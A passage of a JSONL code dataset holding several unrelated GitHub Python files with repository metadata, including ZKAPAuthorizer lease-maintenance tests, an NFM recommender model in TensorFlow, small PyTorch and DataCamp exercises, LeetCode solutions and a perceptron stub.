high\n # below the expected low.\n low,\n datetime_now + mean + (range_ // 2) - since_last_run,\n )\n\n note(\n \"mean: {}\\nrange: {}\\nnow: {}\\nlow: {}\\nhigh: {}\\nsince last: {}\".format(\n mean,\n range_,\n datetime_now,\n low,\n high,\n since_last_run,\n )\n )\n\n self.assertThat(\n datetime.utcfromtimestamp(maintenance_call.getTime()),\n between(low, high),\n )\n\n @given(\n randoms(),\n clocks(),\n )\n def test_clean_up_when_stopped(self, random, clock):\n \"\"\"\n When the service is stopped, the delayed call in the reactor is removed.\n \"\"\"\n service = lease_maintenance_service(\n lambda: None,\n clock,\n FilePath(self.useFixture(TempDir()).join(\"last-run\")),\n random,\n lease_maint_config=default_lease_maint_config,\n )\n service.startService()\n self.assertThat(\n maybeDeferred(service.stopService),\n succeeded(Is(None)),\n )\n self.assertThat(\n clock.getDelayedCalls(),\n Equals([]),\n )\n self.assertThat(\n service.running,\n Equals(False),\n )\n\n @given(\n randoms(),\n clocks(),\n )\n def test_nodes_visited(self, random, clock):\n \"\"\"\n When the service runs, it calls the ``maintain_leases`` object.\n \"\"\"\n leases_maintained_at = []\n\n def maintain_leases():\n leases_maintained_at.append(datetime.utcfromtimestamp(clock.seconds()))\n\n service = lease_maintenance_service(\n maintain_leases,\n clock,\n FilePath(self.useFixture(TempDir()).join(\"last-run\")),\n random,\n lease_maint_config=default_lease_maint_config,\n )\n service.startService()\n [maintenance_call] = clock.getDelayedCalls()\n clock.advance(maintenance_call.getTime() - clock.seconds())\n\n self.assertThat(\n leases_maintained_at,\n Equals([datetime.utcfromtimestamp(clock.seconds())]),\n )\n\n\nclass VisitStorageIndexesFromRootTests(TestCase):\n \"\"\"\n Tests for ``visit_storage_indexes_from_root``.\n \"\"\"\n\n @given(node_hierarchies(), clocks())\n def test_visits_all_nodes(self, root_node, clock):\n \"\"\"\n The operation calls the specified visitor with every node from the root to\n its deepest children.\n \"\"\"\n visited = []\n\n def perform_visit(visit_assets):\n return visit_assets(visited.append)\n\n operation = visit_storage_indexes_from_root(\n perform_visit,\n lambda: [root_node],\n )\n\n self.assertThat(\n operation(),\n succeeded(Always()),\n )\n expected = root_node.flatten()\n self.assertThat(\n visited,\n MatchesAll(\n HasLength(len(expected)),\n AfterPreprocessing(\n set,\n Equals(set(node.get_storage_index() for node in expected)),\n ),\n ),\n )\n\n\ndef lists_of_buckets():\n \"\"\"\n Build lists of bucket descriptions.\n\n A bucket description is a two-tuple of a storage index and a dict mapping\n share numbers to lease expiration times (as posix timestamps). Any given\n storage index will appear only once in the overall result.\n \"\"\"\n\n def add_expiration_times(sharenums):\n return builds(\n lambda nums, expires: dict(zip(nums, expires)),\n just(sharenums),\n lists(\n posix_timestamps(),\n min_size=len(sharenums),\n max_size=len(sharenums),\n ),\n )\n\n def buckets_strategy(count):\n si_strategy = sets(storage_indexes(), min_size=count, max_size=count)\n sharenum_strategy = lists(\n sets(sharenums(), min_size=1).flatmap(add_expiration_times),\n min_size=count,\n max_size=count,\n )\n return builds(\n zip,\n si_strategy,\n sharenum_strategy,\n )\n\n bucket_count_strategy = integers(min_value=0, max_value=100)\n return bucket_count_strategy.flatmap(buckets_strategy)\n\n\nclass RenewLeasesTests(TestCase):\n \"\"\"\n Tests for ``renew_leases``.\n \"\"\"\n\n @given(storage_brokers(clocks()), lists_of_buckets())\n def test_renewed(self, storage_broker, buckets):\n \"\"\"\n ``renew_leases`` renews the leases of shares on all storage servers which\n have no more than the specified amount of time remaining on their\n current lease.\n \"\"\"\n lease_secret = b\"\\0\" * CRYPTO_VAL_SIZE\n convergence_secret = b\"\\1\" * CRYPTO_VAL_SIZE\n secret_holder = SecretHolder(lease_secret, convergence_secret)\n min_lease_remaining = timedelta(days=3)\n\n # Make sure that the storage brokers have shares at the storage\n # indexes we're going to operate on.\n for storage_server in storage_broker.get_connected_servers():\n for (storage_index, shares) in buckets:\n for sharenum, expiration_time in shares.items():\n try:\n create_share(\n storage_server.get_storage_server(),\n storage_index,\n sharenum,\n size=123,\n lease_expiration=int(expiration_time),\n )\n except SharesAlreadyExist:\n # If the storage_brokers() strategy already put a\n # share at this location, that's okay too.\n pass\n\n def get_now():\n return datetime.utcfromtimestamp(\n storage_broker.clock.seconds(),\n )\n\n def visit_assets(visit):\n for storage_index, ignored in buckets:\n visit(storage_index)\n return succeed(None)\n\n d = renew_leases(\n visit_assets,\n storage_broker,\n secret_holder,\n min_lease_remaining,\n NoopMaintenanceObserver,\n get_now,\n )\n self.assertThat(\n d,\n succeeded(Always()),\n )\n\n self.assertThat(\n list(\n server.get_storage_server()\n for server in storage_broker.get_connected_servers()\n ),\n AllMatch(\n leases_current(\n list(storage_index for (storage_index, ignored) in buckets),\n get_now(),\n min_lease_remaining,\n )\n ),\n )\n\n\nclass MaintainLeasesFromRootTests(TestCase):\n \"\"\"\n Tests for ``maintain_leases_from_root``.\n \"\"\"\n\n @given(storage_brokers(clocks()), node_hierarchies())\n def test_renewed(self, storage_broker, root_node):\n \"\"\"\n ``maintain_leases_from_root`` creates an operation which renews the leases\n of shares on all storage servers which have no more than the specified\n amount of time remaining on their current lease.\n \"\"\"\n lease_secret = b\"\\0\" * CRYPTO_VAL_SIZE\n convergence_secret = b\"\\1\" * CRYPTO_VAL_SIZE\n secret_holder = SecretHolder(lease_secret, convergence_secret)\n min_lease_remaining = timedelta(days=3)\n\n def get_now():\n return datetime.utcfromtimestamp(\n storage_broker.clock.seconds(),\n )\n\n operation = maintain_leases_from_root(\n lambda: [root_node],\n storage_broker,\n secret_holder,\n min_lease_remaining,\n NoopMaintenanceObserver,\n get_now,\n )\n d = operation()\n self.assertThat(\n d,\n succeeded(Always()),\n )\n\n relevant_storage_indexes = set(\n node.get_storage_index() for node in root_node.flatten()\n )\n\n self.assertThat(\n list(\n server.get_storage_server()\n for server in storage_broker.get_connected_servers()\n ),\n AllMatch(\n leases_current(\n relevant_storage_indexes,\n get_now(),\n min_lease_remaining,\n )\n ),\n )\n\n @given(storage_brokers(clocks()), node_hierarchies())\n def test_activity_observed(self, storage_broker, root_node):\n \"\"\"\n ``maintain_leases_from_root`` creates an operation which uses the given\n activity observer to report its progress.\n \"\"\"\n lease_secret = b\"\\0\" * CRYPTO_VAL_SIZE\n convergence_secret = b\"\\1\" * CRYPTO_VAL_SIZE\n secret_holder = SecretHolder(lease_secret, convergence_secret)\n min_lease_remaining = timedelta(days=3)\n\n def get_now():\n return datetime.utcfromtimestamp(\n storage_broker.clock.seconds(),\n )\n\n observer = MemoryMaintenanceObserver()\n # There is only one available.\n observers = [observer]\n progress = observers.pop\n operation = maintain_leases_from_root(\n lambda: [root_node],\n storage_broker,\n secret_holder,\n min_lease_remaining,\n progress,\n get_now,\n )\n d = operation()\n self.assertThat(\n d,\n succeeded(Always()),\n )\n\n expected = []\n for node in root_node.flatten():\n for server in storage_broker.get_connected_servers():\n try:\n shares = server.get_storage_server().buckets[\n node.get_storage_index()\n ]\n except KeyError:\n continue\n else:\n if shares:\n expected.append(list(stat.size for stat in shares.values()))\n\n # The visit order doesn't matter.\n expected.sort()\n\n self.assertThat(\n observer.observed,\n AfterPreprocessing(\n sorted,\n Equals(expected),\n ),\n )\n","repo_name":"meejah/ZKAPAuthorizer","sub_path":"src/_zkapauthorizer/tests/test_lease_maintenance.py","file_name":"test_lease_maintenance.py","file_ext":"py","file_size_in_byte":19163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"22"} +{"seq_id":"73207543415","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport numpy as np\n\n\ndef get_linear_model(in_features, out_features, lr):\n model = nn.Linear(in_features, out_features)\n return model, optim.SGD(model.parameters(), lr=lr)\n\n\ndef loss_batch(model, loss_func, xb, yb, opt=None):\n loss = loss_func(model(xb), yb)\n\n if opt is not None:\n loss.backward()\n opt.step()\n opt.zero_grad()\n\n return loss.item(), len(xb)\n\n\n# Define a utility function to train the model\ndef fit(num_epochs, model, loss_fn, opt, train_dl, valid_dl):\n for epoch in range(num_epochs):\n model.train()\n for xb, yb in train_dl:\n loss_batch(model, loss_fn, xb, yb, opt)\n\n model.eval()\n with torch.no_grad():\n losses, nums = zip(\n *[loss_batch(model, loss_fn, xb, yb) for xb, yb in valid_dl]\n )\n val_loss = np.sum(np.multiply(losses, nums)) / np.sum(nums)\n\n print(epoch, val_loss)\n # print(\"Training loss: \", loss_fn(model(X), y))\n\n\n#######################################\n# Using built-in linear function #\n#######################################\n\n\nclass SimpleNet(nn.Module): # inheriting from nn.Module!\n def __init__(self):\n super().__init__()\n\n ###############################\n # YOUR SOLUTION START #\n ###############################\n #\n # Task (1): add torch.nn.Linear as a class-member\n #\n\n self.linear1 = nn.Linear(2, 2)\n self.act1 = nn.ReLU() # Activation function\n self.linear2 = nn.Linear(2, 1)\n\n ###############################\n # YOUR SOLUTION End #\n ###############################\n\n def forward(self, x):\n ###############################\n # YOUR SOLUTION START #\n ###############################\n #\n # Task (2): call the member function on x and return the result\n #\n\n x = self.linear1(x)\n x = self.act1(x)\n x = self.linear2(x)\n return x\n\n ###############################\n # YOUR SOLUTION End #\n ###############################\n","repo_name":"andreasgremm/HomeAutomation","sub_path":"Linear_Regression/SimpleNet.py","file_name":"SimpleNet.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"1196297122","text":"\"\"\"\n [1] He, Xiangnan, and Tat-Seng Chua. \"Neural factorization machines for sparse predictive analytics.\"\n Proceedings of the 40th International ACM SIGIR conference on Research and Development in Information Retrieval. ACM, 2017.\n\"\"\"\n\nimport sys\nimport os\n\nsys.path.insert(0, os.path.abspath('..'))\nfrom typing import List, Tuple, Any\nimport pandas as pd\nimport tensorflow as tf\nfrom tensorflow import feature_column as fc\nfrom utils import train_input_fn, eval_input_fn\n\n\n# 定义输入参数\nflags = tf.app.flags\n\n# 训练参数\nflags.DEFINE_string(\"model_dir\", \"./model_dir\", \"Directory where model parameters, graph, etc are saved\")\nflags.DEFINE_string(\"output_dir\", \"./output_dir\", \"Directory where pb file are saved\")\nflags.DEFINE_string(\"train_data\", \"../../dataset/wechat_algo_data1/tfrecord/train.tfrecord\", \"Path to the train data\")\nflags.DEFINE_string(\"eval_data\", \"../../dataset/wechat_algo_data1/tfrecord/test.tfrecord\",\n \"Path to the evaluation data\")\nflags.DEFINE_string(\"vocabulary_dir\", \"../../dataset/wechat_algo_data1/vocabulary/\",\n \"Folder where the vocabulary file is stored\")\nflags.DEFINE_integer(\"num_epochs\", 1, \"Epoch of training phase\")\nflags.DEFINE_integer(\"train_steps\", 10000, \"Number of (global) training steps to perform\")\nflags.DEFINE_integer(\"shuffle_buffer_size\", 10000, \"Dataset shuffle buffer size\")\nflags.DEFINE_integer(\"num_parallel_readers\", -1, \"Number of parallel readers for training data\")\nflags.DEFINE_integer(\"save_checkpoints_steps\", 1000, \"Save checkpoints every this many steps\")\n\n# 模型参数\nflags.DEFINE_integer(\"batch_size\", 1024, \"Training batch size\")\nflags.DEFINE_float(\"learning_rate\", 0.005, \"Learning rate\")\nflags.DEFINE_integer(\"embedding_dim\", 8, \"Embedding dimension\")\nflags.DEFINE_string(\"hidden_units\", \"512,256,128\",\n \"Comma-separated list of number of units in each hidden layer of the deep part\")\nflags.DEFINE_boolean(\"batch_norm\", True, \"Perform batch normalization (True or False)\")\nflags.DEFINE_float(\"dropout_rate\", 0.1, \"Dropout rate\")\n\nFLAGS = flags.FLAGS\n\n\ndef create_feature_columns() -> Tuple[list, list, list]:\n \"\"\"\n\n Returns:\n dense_feature_columns (list): 连续特征的feature_columns\n category_feature_columns (list): 类别特征的feature_columns\n label_feature_columns (list): 因变量的feature_columns\n \"\"\"\n\n category_feature_columns, dense_feature_columns = [], []\n label_feature_columns = []\n\n # 连续特征\n videoplayseconds = fc.numeric_column('videoplayseconds', default_value=0.0)\n u_read_comment_7d_sum = fc.numeric_column('u_read_comment_7d_sum', default_value=0.0)\n u_like_7d_sum = fc.numeric_column('u_like_7d_sum', default_value=0.0)\n u_click_avatar_7d_sum = fc.numeric_column('u_click_avatar_7d_sum', default_value=0.0)\n u_forward_7d_sum = fc.numeric_column('u_forward_7d_sum', default_value=0.0)\n u_comment_7d_sum = fc.numeric_column('u_comment_7d_sum', default_value=0.0)\n u_follow_7d_sum = fc.numeric_column('u_follow_7d_sum', default_value=0.0)\n u_favorite_7d_sum = fc.numeric_column('u_favorite_7d_sum', default_value=0.0)\n\n i_read_comment_7d_sum = fc.numeric_column('i_read_comment_7d_sum', default_value=0.0)\n i_like_7d_sum = fc.numeric_column('i_like_7d_sum', default_value=0.0)\n i_click_avatar_7d_sum = fc.numeric_column('i_click_avatar_7d_sum', default_value=0.0)\n i_forward_7d_sum = fc.numeric_column('i_forward_7d_sum', default_value=0.0)\n i_comment_7d_sum = fc.numeric_column('i_comment_7d_sum', default_value=0.0)\n i_follow_7d_sum = fc.numeric_column('i_follow_7d_sum', default_value=0.0)\n i_favorite_7d_sum = fc.numeric_column('i_favorite_7d_sum', default_value=0.0)\n\n c_user_author_read_comment_7d_sum = fc.numeric_column('c_user_author_read_comment_7d_sum', default_value=0.0)\n\n dense_feature_columns += [videoplayseconds, u_read_comment_7d_sum, u_like_7d_sum, u_click_avatar_7d_sum,\n u_forward_7d_sum, u_comment_7d_sum, u_follow_7d_sum, u_favorite_7d_sum,\n i_read_comment_7d_sum, i_like_7d_sum, i_click_avatar_7d_sum, i_forward_7d_sum,\n i_comment_7d_sum, i_follow_7d_sum, i_favorite_7d_sum,\n c_user_author_read_comment_7d_sum]\n\n # 类别特征\n userid = fc.categorical_column_with_vocabulary_file('userid', os.path.join(FLAGS.vocabulary_dir, 'userid.txt'))\n feedid = fc.categorical_column_with_vocabulary_file('feedid', os.path.join(FLAGS.vocabulary_dir, 'feedid.txt'))\n device = fc.categorical_column_with_vocabulary_file('device', os.path.join(FLAGS.vocabulary_dir, 'device.txt'))\n authorid = fc.categorical_column_with_vocabulary_file('authorid',\n os.path.join(FLAGS.vocabulary_dir, 'authorid.txt'))\n bgm_song_id = fc.categorical_column_with_vocabulary_file('bgm_song_id',\n os.path.join(FLAGS.vocabulary_dir, 'bgm_song_id.txt'))\n bgm_singer_id = fc.categorical_column_with_vocabulary_file('bgm_singer_id',\n os.path.join(FLAGS.vocabulary_dir, 'bgm_singer_id.txt'))\n manual_tag_list = fc.categorical_column_with_vocabulary_file('manual_tag_list',\n os.path.join(FLAGS.vocabulary_dir, 'manual_tag_id.txt'))\n\n userid_emb = fc.embedding_column(userid, FLAGS.embedding_dim)\n feedid_emb = fc.embedding_column(feedid, FLAGS.embedding_dim)\n device_emb = fc.embedding_column(device, FLAGS.embedding_dim)\n authorid_emb = fc.embedding_column(authorid, FLAGS.embedding_dim)\n bgm_song_id_emb = fc.embedding_column(bgm_song_id, FLAGS.embedding_dim)\n bgm_singer_id_emb = fc.embedding_column(bgm_singer_id, FLAGS.embedding_dim)\n manual_tag_id_emb = fc.embedding_column(manual_tag_list, FLAGS.embedding_dim, combiner='mean')\n\n category_feature_columns += [userid_emb, feedid_emb, device_emb, authorid_emb, bgm_song_id_emb,\n bgm_singer_id_emb, manual_tag_id_emb]\n\n # label\n read_comment = fc.numeric_column(\"read_comment\", default_value=0.0)\n label_feature_columns += [read_comment]\n\n return dense_feature_columns, category_feature_columns, label_feature_columns\n\n\ndef example_parser(serialized_example):\n \"\"\"\n 批量解析Example\n Args:\n serialized_example:\n\n Returns:\n features, labels\n \"\"\"\n fea_columns = total_feature_columns\n label_columns = label_feature_columns\n\n feature_spec = tf.feature_column.make_parse_example_spec(fea_columns + label_columns)\n features = tf.parse_example(serialized_example, features=feature_spec)\n read_comment = features.pop(\"read_comment\")\n return features, {\"read_comment\": read_comment}\n\n\ndef nfm_model_fn(features, labels, mode, params):\n \"\"\"\n nfm模型的model_fn\n Args:\n features (dict): input_fn的第一个返回值, 模型输入样本特征\n labels (dict): input_fn的第二个返回值, 样本标签\n mode: tf.estimator.ModeKeys\n params (dict): 模型超参数\n\n Returns:\n tf.estimator.EstimatorSpec\n \"\"\"\n\n # 连续特征\n with tf.variable_scope(\"dense_input\"):\n dense_input = fc.input_layer(features, params[\"dense_feature_columns\"])\n dense_logit = tf.layers.dense(dense_input, 1, name=\"dense_logit\") # [batch, 1]\n\n # 类别特征\n with tf.variable_scope(\"category_input\"):\n category_input = fc.input_layer(features, params[\"category_feature_columns\"])\n\n with tf.variable_scope(\"bi_interaction_part\"):\n # 将每个类别特征的embedding取出\n fields_embeddings = []\n # 将每个类别特征的embedding取出, 再做element-wise的平方操作\n fields_squared_embeddings = []\n for cat_feature_column in params[\"category_feature_columns\"]:\n embed_input = fc.input_layer(features, [cat_feature_column]) # (batch, K)\n fields_embeddings.append(embed_input) # (batch, K) * F\n fields_squared_embeddings.append(tf.square(embed_input)) # (batch, K) * F\n # 先加再element-wise平方, 对应FM化简公式的第一项被减数\n sum_embedding_then_square = tf.square(tf.add_n(fields_embeddings)) # (batch, K)\n # 先element-wise平方再加, 对应FM化简公式的第二项减数\n square_embedding_then_sum = tf.add_n(fields_squared_embeddings) # (batch, K)\n nfm = 0.5 * (sum_embedding_then_square - square_embedding_then_sum) # (batch, K)\n nfm = tf.layers.batch_normalization(nfm, training=(mode == tf.estimator.ModeKeys.TRAIN), name=\"bi_interaction_bn\")\n nfm = tf.layers.dropout(nfm, 0.1, training=(mode == tf.estimator.ModeKeys.TRAIN))\n\n with tf.variable_scope(\"dnn_part\"):\n net = nfm\n for unit in params[\"hidden_units\"]:\n net = tf.layers.dense(net, unit, activation=tf.nn.relu)\n if params[\"batch_norm\"]:\n net = tf.layers.batch_normalization(net, training=(mode == tf.estimator.ModeKeys.TRAIN))\n if \"dropout_rate\" in params and 0.0 < params[\"dropout_rate\"] < 1.0:\n net = tf.layers.dropout(net, params[\"dropout_rate\"], training=(mode == tf.estimator.ModeKeys.TRAIN))\n nfm_logit = tf.layers.dense(net, 1) # (batch, 1)\n\n total_logit = dense_logit + nfm_logit\n\n # -----定义PREDICT阶段行为-----\n prediction = tf.sigmoid(total_logit, name=\"prediction\")\n if mode == tf.estimator.ModeKeys.PREDICT:\n predictions = {\n \"logit\": total_logit,\n 'probabilities': prediction,\n }\n saved_model_output = {\n 'probabilities': prediction,\n }\n export_outputs = {\n 'prediction': tf.estimator.export.PredictOutput(saved_model_output)\n }\n return tf.estimator.EstimatorSpec(mode, predictions=predictions, export_outputs=export_outputs)\n # -----定义完毕-----\n\n y = labels[\"read_comment\"]\n loss = tf.reduce_mean(tf.nn.sigmoid_cross_entropy_with_logits(labels=y, logits=total_logit), name=\"loss\")\n\n accuracy = tf.metrics.accuracy(labels=y, predictions=tf.to_float(tf.greater_equal(prediction, 0.5)))\n auc = tf.metrics.auc(labels=y, predictions=prediction)\n\n # -----定义EVAL阶段行为-----\n metrics = {\"eval_accuracy\": accuracy, \"eval_auc\": auc}\n if mode == tf.estimator.ModeKeys.EVAL:\n return tf.estimator.EstimatorSpec(mode, loss=loss, eval_metric_ops=metrics)\n # -----定义完毕-----\n\n optimizer = tf.train.AdamOptimizer(learning_rate=params[\"learning_rate\"], beta1=0.9,\n beta2=0.999, epsilon=1e-8)\n update_ops = tf.compat.v1.get_collection(tf.GraphKeys.UPDATE_OPS)\n with tf.control_dependencies(update_ops):\n train_op = optimizer.minimize(loss=loss, global_step=tf.train.get_global_step())\n\n # -----定义TRAIN阶段行为-----\n assert mode == tf.estimator.ModeKeys.TRAIN\n\n # tensorboard收集\n tf.summary.scalar(\"train_accuracy\", accuracy[1])\n tf.summary.scalar(\"train_auc\", auc[1])\n\n # 训练log打印\n log_hook = tf.train.LoggingTensorHook(\n {\n \"train_loss\": loss,\n \"train_auc\": auc[1],\n \"dense_logit\": dense_logit,\n \"nfm_logit\": nfm_logit\n },\n every_n_iter=100\n )\n # timeline监控\n # profiler_hook = tf.train.ProfilerHook(save_steps=1000, output_dir=\"./profiler\", show_memory=True)\n\n return tf.estimator.EstimatorSpec(mode, loss=loss, train_op=train_op, training_hooks=[log_hook])\n # -----定义完毕-----\n\n\ndef main(unused_argv):\n \"\"\"训练入口\"\"\"\n\n global total_feature_columns, label_feature_columns\n dense_feature_columns, category_feature_columns, label_feature_columns = create_feature_columns()\n total_feature_columns = dense_feature_columns + category_feature_columns\n\n params = {\n \"category_feature_columns\": category_feature_columns,\n \"dense_feature_columns\": dense_feature_columns,\n \"hidden_units\": FLAGS.hidden_units.split(','),\n \"dropout_rate\": FLAGS.dropout_rate,\n \"batch_norm\": FLAGS.batch_norm,\n \"learning_rate\": FLAGS.learning_rate,\n }\n print(params)\n\n estimator = tf.estimator.Estimator(\n model_fn=nfm_model_fn,\n params=params,\n config=tf.estimator.RunConfig(model_dir=FLAGS.model_dir, save_checkpoints_steps=FLAGS.save_checkpoints_steps)\n )\n\n train_spec = tf.estimator.TrainSpec(\n input_fn=lambda: train_input_fn(filepath=FLAGS.train_data, example_parser=example_parser,\n batch_size=FLAGS.batch_size, num_epochs=FLAGS.num_epochs,\n shuffle_buffer_size=FLAGS.shuffle_buffer_size),\n max_steps=FLAGS.train_steps\n )\n\n feature_spec = tf.feature_column.make_parse_example_spec(total_feature_columns)\n serving_input_receiver_fn = tf.estimator.export.build_parsing_serving_input_receiver_fn(feature_spec)\n exporters = [\n tf.estimator.BestExporter(\n name=\"best_exporter\",\n serving_input_receiver_fn=serving_input_receiver_fn,\n exports_to_keep=5)\n ]\n eval_spec = tf.estimator.EvalSpec(\n input_fn=lambda: eval_input_fn(filepath=FLAGS.eval_data, example_parser=example_parser,\n batch_size=FLAGS.batch_size),\n throttle_secs=600,\n steps=None,\n exporters=exporters\n )\n\n tf.estimator.train_and_evaluate(estimator, train_spec, eval_spec)\n\n # Evaluate Metrics.\n metrics = estimator.evaluate(input_fn=lambda: eval_input_fn(filepath=FLAGS.eval_data, example_parser=example_parser,\n batch_size=FLAGS.batch_size))\n for key in sorted(metrics):\n print('%s: %s' % (key, metrics[key]))\n\n results = estimator.predict(input_fn=lambda: eval_input_fn(filepath=FLAGS.eval_data, example_parser=example_parser,\n batch_size=FLAGS.batch_size))\n predicts_df = pd.DataFrame.from_dict(results)\n predicts_df['probabilities'] = predicts_df['probabilities'].apply(lambda x: x[0])\n test_df = pd.read_csv(\"../../dataset/wechat_algo_data1/dataframe/test.csv\")\n predicts_df['read_comment'] = test_df['read_comment']\n predicts_df.to_csv(\"predictions.csv\")\n print(\"after evaluate\")\n\n\nif __name__ == \"__main__\":\n tf.logging.set_verbosity(tf.logging.INFO)\n tf.app.run(main=main)\n\n\n","repo_name":"tangxyw/RecAlgorithm","sub_path":"algorithm/NFM/nfm.py","file_name":"nfm.py","file_ext":"py","file_size_in_byte":14658,"program_lang":"python","lang":"en","doc_type":"code","stars":107,"dataset":"github-code","pt":"22"} +{"seq_id":"71470938936","text":"from pymongo import MongoClient\nimport pandas as pd\nimport time\nimport numpy as np\nfrom math import *\n\nstart_time = time.perf_counter()\nmyclient = MongoClient(host='localhost', port=27017)\nmydb = myclient['real_reviews']\nreviews = mydb['reviews_2']\n\nreviews_filter = {\"isApprove\": 'approved', \"isDeleted\": False}\ndf_reviews = pd.DataFrame(list(reviews.find(reviews_filter, {'_id': 1, \"loc\": 1, \"title\": 1,\n 'createdAt': 1, 'updatedAt': 1, 'fromUserId': 1, 'categoryId': 1})))\n\ncombine_title = list(df_reviews[\"title\"])\nprint(combine_title)\nsearch_text = 'toshiba quality'\nsearch_text = list(search_text.split())\n\nif [s for s in combine_title if all(xs in s for xs in search_text)]:\n print(f'search_text: {search_text}')","repo_name":"arjunjanamatti/recommend_system","sub_path":"fill_collections/check_list.py","file_name":"check_list.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"223754515","text":"# Draw samples of waiting times: waiting_times\r\nnohitter_mean = 764 \r\nhitingcycle_mean = 715 \r\nwaiting_times = successive_poisson(nohitter_mean, hitingcycle_mean, 100000)\r\n\r\n# Make the histogram\r\n_ = plt.hist(waiting_times, bins=100, normed=True, histtype='step')\r\n\r\n\r\n# Label axes\r\n_ = plt.xlabel('Probability')\r\n_ = plt.ylabel('Waiting time')\r\n\r\n# Show the plot\r\nplt.show()\r\n","repo_name":"caiopimentel/DataCamp","sub_path":"Statistical Thinking in Python - Part 1/29_ex_nohitters_time.py","file_name":"29_ex_nohitters_time.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"33405620057","text":"class Solution:\n def criticalConnections(self, n: int, connections: List[List[int]]) -> List[List[int]]:\n \n \n adj = defaultdict(list)\n rank = {}\n conn = {}\n \n #create an array for rank\n for i in range(n):\n rank[i] = None\n \n #add edges once and build adj list\n for x,y in connections:\n \n adj[x].append(y)\n adj[y].append(x)\n conn[(min(x,y), max(x,y))] = 1\n \n \n def dfs(node,rankk):\n #if we have seen this node return its rank\n if rank[node]:\n return rank[node]\n \n #new node give it a rank prev + 1\n rank[node] = rankk\n \n #this is the expected next rank\n min_rank = rankk + 1\n \n for neigh in adj[node]:\n #dont check prev/skip parent\n if rank[neigh] and rank[neigh] == rankk -1:\n continue\n #check neighbour with rank + 1\n rec_rank = dfs(neigh, rankk + 1)\n \n #the returned result is less or equal to our current rank so we found a cycle\n #delete the connection\n if rec_rank <= rankk:\n del conn[(min(node,neigh), max(node,neigh))]\n #log our smallest rank seen\n min_rank = min(min_rank, rec_rank)\n \n #pass up our lowest rank seen\n return min_rank\n \n \n dfs(0,0)\n res = []\n #add the non cycle connections to res and return \n for u,v in conn:\n res.append([u,v])\n return res","repo_name":"tannerr12/Data-Structures-and-Algorithms","sub_path":"1192-critical-connections-in-a-network/1192-critical-connections-in-a-network.py","file_name":"1192-critical-connections-in-a-network.py","file_ext":"py","file_size_in_byte":1730,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"17743703175","text":"from MovieDatabase.tasks import APIGetTitle\r\nfrom imdbpie import Imdb\r\nfrom common.Movie import Movie\r\nfrom celery import group\r\nimport time\r\n\r\ndef SearchMovies(value):\r\n\timdb = Imdb()\r\n\tdict=imdb.search_for_title(value)\r\n\tdictsAsync = []\r\n\tmovies_result = []\r\n\tfor m in dict:\r\n\t\tif (m['type']!=None):\r\n\t\t\tdictsAsync.append(APIGetTitle.s(m['imdb_id']))\r\n\tgroupDictsAsync = group(dictsAsync)\r\n\tresult = groupDictsAsync.apply_async()\r\n\twhile result.ready()==False:\r\n\t\ttime.sleep(1)\r\n\tfor m in result.get():\r\n\t\tmov=Movie()\r\n\t\tmov.SetAfterInit(m)\r\n\t\tmovies_result.append(mov)\r\n\treturn movies_result","repo_name":"fum42083/MovieDatabase","sub_path":"common/MovieHelper.py","file_name":"MovieHelper.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"40295164839","text":"def tuple_con_list(t,t1,t2):\n\ttupple_list=[t,t1,t2]\n\tnew_list=[]\n\tprint(\"list of tuples: \")\n\treturn(tupple_list)\n\nif __name__==\"__main__\":\n\ttry:\n\t\tt=1,2,4,56554\n\t\tt1='a','frv','dsfawd'\n\t\tt2='s3de',2,'sadas'\n\t\tprint(tuple_con_list(t,t1,t2))\n\texcept ValueError:\n\t\tprint(\"Value Error\")\n","repo_name":"Nipun2016/Core-Python-Training","sub_path":"Exercises/Urvi/Collections and Iterations/p6.py","file_name":"p6.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"71679138936","text":"def sumIterate(sums,nums, solution, result, target,pos):\n if len(solution) == 4 and sum(solution) == target:\n # newsol = solution.copy()\n newsol = []\n for n in range(4):\n newsol.append(solution[n])\n result.append(newsol)\n return\n elif len(solution)==4:\n return\n for i in range(pos,len(nums)):\n if (nums[i]*(4-len(solution))+sums>target):\n return\n if(nums[i]+nums[len(nums)-1]* (3-len(solution))+sums < target):\n continue\n solution.append(nums[i])\n sumIterate(sums+nums[i],nums, solution, result, target,i+1)\n solution.pop(-1)\n\nclass Solution(object):\n def fourSum(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: List[List[int]]\n \"\"\"\n visited = []\n solution = []\n result = []\n nums.sort()\n for i in range(len(nums)):\n visited.append(0)\n if len(nums) == 0:\n return result\n # for i in range(len(nums)):\n # visited[i]=1\n # solution.append(nums[i])\n sumIterate(0,nums, solution, result, target, 0)\n for r in result:\n r.sort()\n\n # solution.remove(nums[i])\n result2 = [list(t) for t in set(tuple(element) for element in result)]\n return result2\n\n\nif __name__ == '__main__':\n sol = Solution()\n print(sol.fourSum([-5,5,4,-3,0,0,4,-2],4))\n\n","repo_name":"YuzhouPeng/LeetCode-Python","sub_path":"18. 4Sum.py","file_name":"18. 4Sum.py","file_ext":"py","file_size_in_byte":1465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"2291883091","text":"import numpy as np\n\ndef Solve(x_train,y_train):\n # Save it as an NP Array\n X = np.array(x_train);\n # Add the ones to the end for the bias\n X = np.concatenate((X, np.ones((len(X),1))), axis=1);\n # Save labels as NP\n Y = np.array(y_train);\n \n N = len(X);\n # Set weights to all zeros\n W = np.zeros(len(X[0]));\n # since Perceptron convergeces we use a while loop\n flag = True;\n epochs = 0;\n updates = 0;\n while(flag):\n epochs += 1;\n flag = False;\n for i in range(N):\n ans = np.dot(W,X[i])*Y[i];\n if(ans 